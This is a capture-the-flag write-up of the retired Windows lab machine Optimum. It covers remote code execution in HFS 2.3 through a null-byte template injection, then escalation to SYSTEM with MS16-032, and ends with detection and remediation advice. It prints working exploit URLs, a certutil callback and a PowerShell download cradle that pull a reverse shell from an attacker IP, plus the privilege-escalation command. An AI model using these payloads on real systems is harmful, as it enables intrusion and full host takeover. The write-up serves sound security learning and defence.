Overview
Optimum is a retired Easy-rated Windows machine hosting a single service: Rejetto HttpFileServer (HFS) 2.3 on port 80. No other ports are open. The server runs on Windows Server 2012 R2 with 31 hotfixes, all dating from 2014. Over a decade of critical updates are missing.
HFS 2.3 is vulnerable to CVE-2014-6287, a remote code execution flaw caused by
a null byte injection in the search parameter. The null byte terminates the
search string from the application’s perspective, but subsequent content passes
through to the HFS template engine, where {.exec|cmd.} directives execute
operating system commands as the kostas user. Privilege escalation uses
MS16-032 (CVE-2016-0099), a race condition in the Windows Secondary Logon
Service, but requires navigating a 32-bit/64-bit architecture mismatch that
complicates both exploitation and detection.
What makes this box worth studying beyond its Easy rating is the WoW64 redirection problem. The 32-bit HFS process cannot directly invoke 64-bit system binaries, and the MS16-032 kernel exploit requires a 64-bit execution context. Understanding Windows filesystem virtualisation is essential for anyone working with post-exploitation on mixed-architecture hosts.
Reconnaissance
I scan all 65535 ports to confirm no services are hidden behind non-standard ports:
nmap -sC -sV -p- --min-rate 5000 10.129.15.118
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 80 | HTTP | HttpFileServer httpd 2.3 | Default HFS directory listing |
Only port 80 is open. No SSH, no RDP, no SMB. The attack surface is entirely the web service. A full port scan is worth the time here because a Windows host with only HTTP exposed is unusual; it rules out the possibility of SMB-based lateral paths or RDP access that might simplify later stages.
curl -sI http://10.129.15.118/
# Server: HFS 2.3
# Set-Cookie: HFS_SID_=0.208266498241574; path=/;
The Server header confirms HFS 2.3 specifically. The HFS web interface
presents a file browser with a built-in search function. No authentication is
required to access the interface or search. The cookie name (HFS_SID_)
identifies the server fingerprint even if the Server header were stripped.
Attack Surface Analysis
HFS 2.3 implements a custom macro language for template processing. Directives
enclosed in {. .} delimiters are evaluated server-side. The {.exec|command.}
directive passes its argument to cmd.exe /c for execution. The search
parameter flows through the template engine without sanitisation, creating a
direct code injection path.
I searched for known vulnerabilities against HFS 2.3 and found CVE-2014-6287 immediately. The vulnerability has public exploits on Exploit-DB and in Metasploit.
| Attribute | Value |
|---|---|
| CVE | CVE-2014-6287 |
| CVSS v3.1 | 9.8 (Critical) |
| CWE | CWE-94 (Code Injection) |
| Root cause | Null byte terminates search string; trailing content parsed as template directives |
| Affected | HFS 2.3 (and earlier versions using the macro engine) |
| MITRE ATT&CK | T1190 (Exploit Public-Facing Application) |
Vulnerability Analysis
The exploit URL format is: http://TARGET/?search=%00{.exec|COMMAND.}. The
%00 null byte terminates the search query at the C string level within the
HFS parser. The application considers the search complete, but the HTTP query
string still contains bytes after the null. These bytes reach the template
engine, which processes {.exec|...|.} as a macro directive and passes the
enclosed command to cmd.exe /c.
This is a textbook case of impedance mismatch between parsing layers. The search handler uses null-terminated string semantics (C/Delphi heritage; HFS is written in Delphi), while the template engine processes the raw byte stream. The null byte acts as a parsing boundary bypass: it satisfies the search handler that input has ended, while the template engine sees and executes the trailing directive.
The pattern appears repeatedly in web security history. PHP’s include() was
vulnerable to null byte injection until 5.3.4. Java’s File class had the same
issue until JDK 7u40. Any application bridging C-style string handling with a
higher-level interpreter is a candidate for this class of vulnerability.
Exploitation
Step 1: Confirm code execution
Before committing to a payload, I verify that commands execute and that the
target can reach my machine. I use a certutil callback rather than ping
because ICMP may be filtered, while HTTP provides a clear request log:
# Attacker: start HTTP listener
python3 -m http.server 8080
# Trigger HFS exec directive
curl -s "http://10.129.15.118/?search=%00{.exec|certutil+-urlcache+-split+-f+http://10.10.14.5:8080/ping.txt+C:\Users\kostas\ping.txt.}"
# Attacker HTTP server log:
# 10.129.15.118 - "GET /ping.txt HTTP/1.1" 404 -
The 404 response is irrelevant; the file does not need to exist. The inbound
HTTP request from 10.129.15.118 confirms two things: the {.exec} directive
executed, and the target has outbound HTTP connectivity to my machine. Both are
prerequisites for the download cradle in the next step.
Step 2: Obtain reverse shell
Complex PowerShell commands fail when passed through the HFS template parser.
Characters like |, ;, and { conflict with the macro delimiter syntax. The
workaround is a two-stage approach: host a PowerShell reverse shell script on
my HTTP server, then use IEX (Invoke-Expression) with DownloadString to
fetch and execute it in memory.
I use Nishang’s Invoke-PowerShellTcp.ps1 with a reverse connection type,
modified to include the callback at the end of the script so it executes on
import:
# Host Nishang reverse shell script
python3 -m http.server 8080
# Trigger download and execution via 64-bit PowerShell
curl -s "http://10.129.15.118/?search=%00{.exec|C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe+IEX(New-Object+Net.WebClient).DownloadString('http://10.10.14.5:8080/rev.ps1').}"
nc -lnvp 4444
# Connection from 10.129.15.118:49267
# PS C:\Users\kostas\Desktop> whoami
# optimum\kostas
The SysNative path is critical and easy to overlook. HFS 2.3 runs as a
32-bit process under WoW64 (Windows 32-bit on Windows 64-bit). On a 64-bit OS,
32-bit processes see a virtualised C:\Windows\System32 that contains 32-bit
binaries. The real 64-bit System32 is accessible only via the synthetic
C:\Windows\SysNative path, which exists solely for this purpose. Using
System32 from a 32-bit process would invoke 32-bit PowerShell, and the
MS16-032 exploit later requires a 64-bit context. Getting this wrong wastes
time debugging cryptic exploit failures.
User flag obtained from C:\Users\kostas\Desktop\user.txt.
Step 3: Privilege escalation with MS16-032
I enumerate the current user’s privileges to determine viable escalation paths:
whoami /priv
# SeChangeNotifyPrivilege Bypass traverse checking Enabled
No SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege. This rules out
the Potato family of attacks (RottenPotato, JuicyPotato, PrintSpoofer), which
all depend on impersonation privileges to abuse Windows service account token
handling.
With impersonation off the table, I turn to kernel-level exploits. The system has 31 hotfixes, all from 2014, and the most recent is KB3014442. I cross- reference the installed patches against known Windows privilege escalation CVEs:
systeminfo
# Hotfix(s): 31 Hotfix(s) Installed.
# [01]: KB2938066
# ...
# [31]: KB3014442
KB3139914 (the MS16-032 patch, released March 2016) is absent. MS16-032
(CVE-2016-0099) exploits a race condition in the Secondary Logon Service
(seclogon). The seclogon service creates processes on behalf of other users;
a TOCTOU (time-of-check-to-time-of-use) race between handle validation and
process creation allows an attacker to duplicate a SYSTEM token into a
controlled process. The exploit requires two or more logical processors (the
race is impossible to win on a uniprocessor system) and a 64-bit PowerShell
context on 64-bit systems.
| Attribute | Value |
|---|---|
| CVE | CVE-2016-0099 |
| CVSS v3.1 | 7.8 (High) |
| CWE | CWE-362 (Race Condition) |
| Root cause | TOCTOU race in Secondary Logon Service handle validation |
| Prerequisite | 2+ logical CPUs; 64-bit execution context on x64 OS |
| Fixed in | KB3139914 (MS16-032) |
The SYSTEM process spawned by the exploit cannot make outbound network
connections; Windows Firewall blocks them for newly created processes without
explicit rules. Spawning a second reverse shell as SYSTEM therefore fails
silently. Instead, I use icacls to grant the kostas user full access to the
Administrator’s desktop, then read the flag from the existing shell:
# From 64-bit PowerShell (already in SysNative context)
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/Invoke-MS16032.ps1'); Invoke-MS16032 -Command 'cmd /c icacls C:\Users\Administrator\Desktop /grant kostas:F /T'"
# [+] Windows 10 x64 with 2 logical processors
# [+] Token duplication succeeded
# [+] CreateProcessWithLogonW completed
The “Windows 10 x64” banner is hardcoded in the Empire PowerShell script; the
actual OS is Server 2012 R2 as confirmed by systeminfo. The exploit
works on both platforms because the vulnerable seclogon code path is shared
across Windows client and server editions of the same kernel generation.
PS> type C:\Users\Administrator\Desktop\root.txt
# [flag redacted]
Root flag obtained.
Post-Exploitation
System enumeration confirms the full scope of the patch deficit:
systeminfo
# OS Name: Microsoft Windows Server 2012 R2 Standard
# OS Version: 6.3.9600 N/A Build 9600
# System Type: x64-based PC
# Hotfix(s): 31 Hotfix(s) Installed.
# [01]: KB2938066
# ...
# [31]: KB3014442
All 31 hotfixes date from 2014. The system has received no updates for over a decade. Beyond MS16-032, this host is vulnerable to dozens of subsequent kernel privilege escalation CVEs, including MS16-135 (win32k.sys), CVE-2020-0787 (BITS arbitrary file write), and CVE-2021-1732 (win32k type confusion).
The kostas user is a standard account with no administrative group membership
and no special privileges beyond SeChangeNotifyPrivilege (which all users
have by default). The entire escalation path depended on the missing kernel
patch and the architecture-aware selection of the PowerShell binary.
An operational note on HFS reliability: the {.exec} handler stops processing
new directives after approximately 10 to 15 invocations. The handler fails
silently with no error response. This appears to be a resource exhaustion issue
in HFS’s macro processing thread pool. In practice, limit yourself to 3
commands per engagement. If the handler degrades, the target VM must be reset.
In a production environment, the SYSTEM token could be used for credential extraction via Mimikatz (dumping LSASS), creation of backdoor administrator accounts, or lateral movement to domain-joined machines via pass-the-hash.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1190 | WAF rule matching %00{.exec in query strings |
| Execution | T1059.001 | PowerShell downloading and executing remote scripts via DownloadString |
| Priv escalation | T1068 | MS16-032: seclogon service creating processes with duplicated SYSTEM token |
| Persistence | T1222.001 | icacls modifying NTFS permissions on Administrator profile |
Network-level: The null byte followed by {.exec in HTTP query strings is
a distinctive signature with virtually zero false-positive risk. Any web
application firewall that blocks null bytes in query parameters would prevent
this attack entirely. Even a basic ModSecurity rule matching %00 in the
QUERY_STRING variable is sufficient.
Host-level: The IEX(New-Object Net.WebClient).DownloadString() pattern is
among the most commonly flagged indicators in endpoint detection products. Script
block logging (introduced in PowerShell 5.0, available on Server 2012 R2 via
WMF 5.1 update) would capture the full payload including the remote URL and the
downloaded script contents. Process creation logging via Sysmon would also
record the SysNative path invocation, which is a strong signal for WoW64
escape attempts.
Privilege escalation: The seclogon service creating a process with a
SYSTEM token for a non-privileged caller is detectable via Windows Security
Event 4688 (process creation) with token elevation type monitoring. The
specific pattern of CreateProcessWithLogonW followed by immediate icacls
execution is highly anomalous.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Remove HFS 2.3; replace with a maintained file server | Low | Critical |
| P0 | Apply all Windows updates (system is 10+ years behind) | Medium | Critical |
| P1 | Deploy a WAF blocking null bytes in query parameters | Low | High |
| P1 | Enable PowerShell Constrained Language Mode | Low | High |
| P1 | Enable PowerShell script block logging (WMF 5.1) | Low | High |
| P2 | Implement application whitelisting (AppLocker or WDAC) | Medium | Medium |
| P2 | Restrict outbound HTTP from server processes | Low | Medium |
HFS 2.3 is abandonware. Rejetto released HFS 3.x as a complete rewrite in Node.js, but the 2.x Delphi branch is unmaintained and will never receive security patches. The correct action is replacement with a maintained alternative (IIS with WebDAV, or a purpose-built file transfer solution), not an upgrade within the HFS product line.
The deeper issue is the patch management failure. A system with no updates since 2014 is not a single-vulnerability problem; it is a systemic failure. Even if CVE-2014-6287 and MS16-032 were somehow patched, dozens of other exploitable CVEs remain. The remediation is not individual patching but bringing the system into an active update cycle, or migrating to Server 2022.
Key Takeaways
-
Null byte injection exploits parsing layer mismatches. The null byte terminates strings in C-derived parsers but passes through template engines, HTTP query string handlers, and many higher-level interpreters. Any application that processes user input through multiple parsing layers with different null byte semantics is a candidate for this class of vulnerability. The fix is straightforward: reject or strip null bytes at the outermost input boundary before any further processing occurs.
-
Architecture mismatches complicate both attack and defence. The 32-bit HFS process running on a 64-bit OS meant kernel exploits had to be launched from a specific PowerShell path (
SysNative). From the defender’s perspective, any process accessingC:\Windows\SysNativeis attempting to escape the WoW64 virtualisation layer. This is a reliable detection signal because legitimate 32-bit applications rarely need to invoke 64-bit system binaries directly. -
When outbound connections fail, pivot to local filesystem manipulation. Windows Firewall blocking outbound connections from the SYSTEM process forced an alternative approach: modifying NTFS permissions with
icaclsrather than spawning a reverse shell. This is a useful defensive control (egress filtering raises the cost of exploitation), but it does not prevent the privilege escalation itself. The flag was still readable within seconds.